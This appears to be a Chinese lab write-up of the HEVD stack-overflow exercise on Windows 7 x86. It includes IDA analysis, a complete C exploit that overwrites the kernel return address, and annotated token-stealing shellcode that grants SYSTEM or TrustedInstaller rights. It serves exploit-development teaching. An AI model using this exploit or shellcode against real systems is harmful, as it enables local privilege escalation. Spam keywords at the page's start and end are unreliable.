最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

漏洞分析丨HEVD-0x1.StackOverflow[win7x86]

2022-06-30 13:48 作者:rkvir逆向工程學院  | 我要投稿

前言

窺探Ring0漏洞世界第一課:緩沖區(qū)溢出

實驗環(huán)境:

?虛擬機:Windows 7 x86


?物理機:Windows 10 x64


?軟件:IDA,Windbg,VS2022


漏洞分析

該環(huán)境提供了各種內(nèi)核漏洞場景供學習,本次實驗內(nèi)容是BufferOverflowStack

首先用IDA打開HEVD.sys,搜索BufferOverflowStack,可以看到兩個函數(shù):BufferOverflowStackIoctlHandler和TriggerBufferOverflowStack,前者是分發(fā)程序,后者是漏洞程序

從IDA的F5里可以看出,這是一個經(jīng)典的棧溢出漏洞:使用用戶輸入的長度進行memcpy調(diào)用

int __stdcall TriggerBufferOverflowStack(void *UserBuffer, unsigned int Size)
{
unsigned int KernelBuffer[512]; // [esp+10h] [ebp-81Ch] BYREF
?CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]

?memset(KernelBuffer, 0, sizeof(KernelBuffer));
?ms_exc.registration.TryLevel = 0;
?ProbeForRead(UserBuffer, 0x800u, 1u); //?檢查用戶緩沖區(qū)是否可讀
?_DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer);
?_DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%zX\n", Size);
?_DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", KernelBuffer);
?_DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%zX\n", 0x800u);
??_DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack\n");
?memcpy(KernelBuffer, UserBuffer, Size);???????//?經(jīng)典緩沖區(qū)溢出
??return 0;
}

接下來看看要如何進入這個漏洞函數(shù),利用IDA的交叉引用功能,可以看到是BufferOverflowStackIoctlHandler函數(shù):

int __stdcall BufferOverflowStackIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
int v2; // ecx
?_NAMED_PIPE_CREATE_PARAMETERS *Parameters; // edx

??v2 = -1073741823;
?Parameters = IrpSp->Parameters.CreatePipe.Parameters;
??if ( Parameters )
???return TriggerBufferOverflowStack(Parameters, IrpSp->Parameters.Create.Options);
??return v2;
}

這里使用的是IRP傳參,也就是說驅(qū)動是使用IO通信的,接著使用交叉引用向上找,找到通信的地方,找到進入這里用的控制碼:

看這個分支結(jié)構(gòu),和這明顯的jumptable標識,這是一個跳轉(zhuǎn)表,這是switch-case結(jié)構(gòu),這里應(yīng)該就是通過控制碼進行跳轉(zhuǎn):

PAGE:00444064?_IrpDeviceIoCtlHandler@8 proc near??????; DATA XREF: DriverEntry(x,x)+8A↓o
PAGE:00444064
PAGE:00444064???????????????????????????????DeviceObject= dword ptr??8
PAGE:00444064???????????????????????????????Irp= dword ptr??0Ch
PAGE:00444064
PAGE:00444064 55????????????????????????????push????ebp
PAGE:00444065 8B EC?????????????????????????mov?????ebp, esp
PAGE:00444067 53????????????????????????????push????ebx
PAGE:00444068 56????????????????????????????push????esi
PAGE:00444069 57????????????????????????????push????edi
PAGE:0044406A 8B 7D 0C??????????????????????mov?????edi, [ebp+Irp]
PAGE:0044406D BB BB 00 00 C0????????????????mov?????ebx, 0C00000BBh
PAGE:00444072 8B 47 60??????????????????????mov?????eax, [edi+60h]??????????????????; IrpStack
PAGE:00444075 85 C0?????????????????????????test????eax, eax
PAGE:00444077 0F 84 6D 04 00 00?????????????jz??????loc_4444EA
PAGE:00444077
PAGE:0044407D 8B D8?????????????????????????mov?????ebx, eax
PAGE:0044407F 8B 4B 0C??????????????????????mov?????ecx, [ebx+0Ch]??????????????????; IoControlCode
PAGE:00444082 8D 81 FD DF DD FF?????????????lea?????eax, [ecx-222003h]??????????????; switch 113 cases
PAGE:00444088 83 F8 70??????????????????????cmp?????eax, 70h????????????????????????;?大于0x70就跳轉(zhuǎn)
PAGE:0044408B 0F 87 41 04 00 00?????????????ja??????$LN34???????????????????????????; jumptable 00444098 default case, cases 2236420-2236422,2236424-2236426,2236428-2236430,2236432-2236434,2236436-2236438,2236440-2236442,2236444-2236446,2236448-2236450,2236452-2236454,2236456-2236458,2236460-2236462,2236464-2236466,2236468-2236470,2236472-2236474,2236476-2236478,2236480-2236482,2236484-2236486,2236488-2236490,2236492-2236494,2236496-2236498,2236500-2236502,2236504-2236506,2236508-2236510,2236512-2236514,2236516-2236518,2236520-2236522,2236524-2236526,2236528-2236530
PAGE:0044408B
PAGE:00444091 0F B6 80 7C 45 44 00??????????movzx???eax, ds:byte_44457C[eax]????????;?根據(jù)eax索引取地址索引
PAGE:00444098 FF 24 85 04 45 44 00??????????jmp?????ds:jpt_444098[eax*4]????????????; switch jump
PAGE:00444098
PAGE:0044409F???????????????????????????????; ---------------------------------------------------------------------------
PAGE:0044409F
PAGE:0044409F???????????????????????????????$LN5:???????????????????????????????????; CODE XREF: IrpDeviceIoCtlHandler(x,x)+34↑j
PAGE:0044409F??????????????????????????????????????????????????????????????????????; DATA XREF: IrpDeviceIoCtlHandler(x,x):jpt_444098↓o
PAGE:0044409F 8B 35 04 20 40 00?????????????mov?????esi, ds:__imp__DbgPrintEx???????; jumptable 00444098 case 2236419
PAGE:004440A5 68 2E 6B 44 00????????????????push????offset aHevdIoctlBuffe??????????; "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK"...
PAGE:004440AA 6A 03?????????????????????????push????3???????????????????????????????; Level
PAGE:004440AC 6A 4D?????????????????????????push????4Dh ; 'M'???????????????????????; ComponentId
PAGE:004440AE FF D6?????????????????????????call????esi ; __imp__DbgPrintEx
PAGE:004440AE
PAGE:004440B0 83 C4 0C??????????????????????add?????esp, 0Ch
PAGE:004440B3 53????????????????????????????push????ebx?????????????????????????????; _IO_STACK_LOCATION *
PAGE:004440B4 57????????????????????????????push????edi?????????????????????????????; _IRP *
PAGE:004440B5 E8 EC 10 00 00????????????????call????_BufferOverflowStackIoctlHandler@8 ; BufferOverflowStackIoctlHandler(x,x)
PAGE:004440B5
PAGE:004440BA 68 2E 6B 44 00????????????????push????offset aHevdIoctlBuffe??????????; "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK"...
PAGE:004440BA

可以看到,這里我們要找的函數(shù)位于跳轉(zhuǎn)表的第一個,eax傳入的值是0,讓eax為0,那么eax =?控制碼ecx-222003h=0,控制碼為0x222003

到此,知道如何調(diào)用到這個函數(shù)了,接下來寫代碼來進行利用


漏洞利用

首先填充傳遞一個剛好大小的buffer,查看棧的情況:

這里的memcpy復制的內(nèi)容填充滿可以填充到0x916aeab0,距離返回地址0x916aead4還有0x20+4個字節(jié)

再往緩沖區(qū)里填充20字節(jié)的隨便字符,然后再填充4字節(jié)返回地址,這樣就可以跳出到shellcode上了,這里沒有g(shù)s保護,所以還是比較簡單的

利用代碼:(關(guān)于TokenStealingPayloadWin7函數(shù)在下文進行介紹)

#include
#include

int main()
{
ULONG UserBufferSize = 512 * sizeof(ULONG) + 0x20 + 4;
????PVOID EopPayload = &TokenStealingPayloadWin7;

???HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver",
???????GENERIC_ALL,
???????FILE_SHARE_WRITE,
???????nullptr,
???????OPEN_EXISTING,
???????0,
???????nullptr);
????if (hDevice == INVALID_HANDLE_VALUE) {
???????printf("[ERROR]Open Device Error\r\n");
???????system("pause");
???????exit(1);
????}
????else {
???????printf("[INFO]Device Handle: 0x%X\n", hDevice);
????}
?
???PULONG UserBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
????if (!UserBuffer) {
???????printf("[ERROR]Allocate ERROR");
???????system("pause");

???????exit(1);
????}
????else {
???????printf("[INFO]Allocated Memory: 0x%p\n",UserBuffer);
???????printf("[INFO]Allocation Size: 0x%X\n", UserBufferSize);
????}

???RtlFillMemory(UserBuffer, UserBufferSize, 0x41);

????PVOID MemoryAddress = (PVOID)(((ULONG)UserBuffer + UserBufferSize) - sizeof(ULONG));
???*(PULONG)MemoryAddress = (ULONG)EopPayload;
?
???//PVOID MemoryAddress = (PVOID)(((ULONG)UserBuffer + 512) - sizeof(ULONG));
????ULONG WriteRet = 0;
???DeviceIoControl(hDevice, 0x222003, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);

???HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
???UserBuffer = NULL;

???system("pause");
???system("cmd.exe");

???return 0;
}

因為需要管理員執(zhí)行,這樣提升到system權(quán)限好像看不出個啥,于是這里就修改了替換的token,提升到trustedinstaller權(quán)限

memcpy之后,可見返回地址變成了我們自己的地址:

執(zhí)行結(jié)果:獲得trustedinstaller權(quán)限

當進程結(jié)束后,如果是分配system進程的主令牌,則沒事,如果是trustedInstaller則會系統(tǒng)奔潰,應(yīng)該是進程結(jié)束后系統(tǒng)會對該進程的主令牌進行某種操作,后面再去了解具體情況!


exp?分析--TokenSteal

shellcode版exp見參考資料[4]:申請一個可執(zhí)行的內(nèi)存保存shellcode,然后設(shè)置返回地址到這個申請的內(nèi)存上

進程的主令牌token位于EPROCESS結(jié)構(gòu)中:

+0x0f8 Token????????????: _EX_FAST_REF

只需要把其他進程EPROCESS的Token替換到當前進行,當前進程使用的就是該進程的主令牌了,就會擁有該令牌的權(quán)限

該示例給出的官方EXP代碼如下:

// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET?0x124?// nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET????0x050?// nt!_KTHREAD.ApcState.Process
#define PID_OFFSET?????????0x0B4?// nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET???????0x0B8?// nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET???????0x0F8?// nt!_EPROCESS.Token
#define SYSTEM_PID?????????0x004?// SYSTEM Process PID

VOID TokenStealingPayloadWin7() {
????// Importance of Kernel Recovery
????__asm {
???????pushad??????????????????;?保存寄存器

????????;開始令牌竊取流程
???????xor eax, eax????????????????;?清空eax
???????mov eax, fs: [eax + KTHREAD_OFFSET]?????;?獲取當前線程KTHREAD,nt!_KPCR.PcrbData.CurrentThread
????????????????????????????;?內(nèi)核態(tài)fs寄存器指向KPCR,_KTHREAD is located at FS : [0x124]

???????mov eax, [eax + EPROCESS_OFFSET]???;?獲取當前線程EPROCESS,nt!_KTHREAD.ApcState.Process

???????mov ecx, eax????????????????;?保存當前進程?_EPROCESS?結(jié)構(gòu)地址

???????mov edx, SYSTEM_PID?????????; WIN 7 SP1 SYSTEM process PID = 0x4

????;?循環(huán)找到系統(tǒng)進程(PID=4)的EPROCESS結(jié)構(gòu)
???????SearchSystemPID:
????mov eax, [eax + FLINK_OFFSET]???????;?獲取進程鏈表的下一項?nt!_EPROCESS.ActiveProcessLinks.Flink
????????sub eax, FLINK_OFFSET???????????;?恢復到EPROCESS首地址
???????cmp[eax + PID_OFFSET], edx??????;?對比PID是不是指定進程,nt!_EPROCESS.UniqueProcessId
???????jne SearchSystemPID?????????;?不是就跳轉(zhuǎn)

???????mov edx, [eax + TOKEN_OFFSET]??????;?獲取系統(tǒng)進程的token,nt!_EPROCESS.Token
???????mov[ecx + TOKEN_OFFSET], edx???????;?替換當前進程的token,nt!_EPROCESS.Token??????????
????????;令牌竊取流程結(jié)束

???popad???????????????????;?回復寄存器

????????;內(nèi)核恢復流程
???????xor eax, eax????????????????;?設(shè)置返回值:0,NTSTATUS_SUCCEESS
???????add esp, 12?????????????;?修復棧頂esp
???????pop ebp?????????????????;?還原ebp
???????ret 8???????????????????;?返回
????}
}

這里的最后幾句很巧妙:

;內(nèi)核恢復流程
???????xor eax, eax????????????????;?設(shè)置返回值:0,NTSTATUS_SUCCEESS
???????add esp, 12?????????????;?修復棧頂esp
???????pop ebp?????????????????;?還原ebp
???????ret 8???????????????????;?返回

這里清空了eax作為返回值,然后最巧妙的就是這個esp和ebp的修復了!

因為在R0程序不能奔潰,所以這個程序被劫持了執(zhí)行流之后,還得還原回去,因為我們是通過覆蓋返回地址劫持的,所以沒法再從這個返回地址返回了

在劫持之前,函數(shù)返回的時候,把ebp給了esp,然后彈出ebp返回,這里的add esp 12實際上是把棧頂?shù)奈恢梅诺搅嗽偕弦粚雍瘮?shù)的棧頂,然后通過pop ebp恢復ebp到再上一層函數(shù)的位置,此時ebp的值就是返回地址,因為上層函數(shù)返回再上層函數(shù)會把esp往后走8個字節(jié),所以這里就是ret 8(具體是怎么寫出來的見下一篇的分析)

查看調(diào)用堆棧:

1: kd> k
# ChildEBP RetAddr???
00 8d6bfad0 00151040?????HEVD!TriggerBufferOverflowStack+0xc4 [C:\Users\selph\Desktop\HackSysExtremeVulnerableDriver-master\Driver\HEVD\Windows\BufferOverflowStack.c @ 116]
WARNING: Frame IP not in any known module. Following frames may be wrong.
01 8d6bfae0 8ede60ba?????0x151040
02 8d6bfafc 83e7c593?????HEVD!IrpDeviceIoCtlHandler+0x56 [C:\Users\selph\Desktop\HackSysExtremeVulnerableDriver-master\Driver\HEVD\Windows\HackSysExtremeVulnerableDriver.c @ 278]
03 8d6bfb14 8407099f?????nt!IofCallDriver+0x63

函數(shù)實際原本的調(diào)用順序是IrpDeviceIoCtlHandler->BufferOverflowStackIoctlHandler->TriggerBufferOverflowStack

現(xiàn)在的調(diào)用堆棧則變成了IrpDeviceIoCtlHandler->自己的函數(shù)->TriggerBufferOverflowStack

相當于我們把中間這個過程給跳過了?。?!R0真是太神奇了!


參考資料

?[1]?hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver (github.com)?https://github.com/hacksysteam/HackSysExtremeVulnerableDriver


?[2]?FuzzySecurity | Windows ExploitDev: Part 10?https://www.fuzzysecurity.com/tutorials/expDev/14.html


?[3]?(1條消息) FS寄存器的作用_tanweng的博客-CSDN博客_fs寄存器?https://blog.csdn.net/tanweng/article/details/8929100


?[4]?HSEVD-StackOverflow/HS-StackOverflow.c at master · Cn33liz/HSEVD-StackOverflow (github.com)?https://github.com/Cn33liz/HSEVD-StackOverflow/blob/master/HS-StackOverflow/HS-StackOverflow.c


漏洞分析丨HEVD-0x1.StackOverflow[win7x86]的評論 (共 條)

分享到微博請遵守國家法律
丰原市| 六盘水市| 娱乐| 肃北| 杭锦后旗| 嘉义县| 乐清市| 焉耆| 萨迦县| 鹤山市| 泽库县| 闵行区| 工布江达县| 连江县| 泾阳县| 张掖市| 昔阳县| 阳新县| 龙州县| 昌平区| 柳州市| 西畴县| 石渠县| 宁蒗| 万州区| 逊克县| 澜沧| 久治县| 安丘市| 肇东市| 阳曲县| 珠海市| 崇义县| 寿光市| 双柏县| 沂水县| 红桥区| 固阳县| 乌兰县| 兖州市| 邯郸市|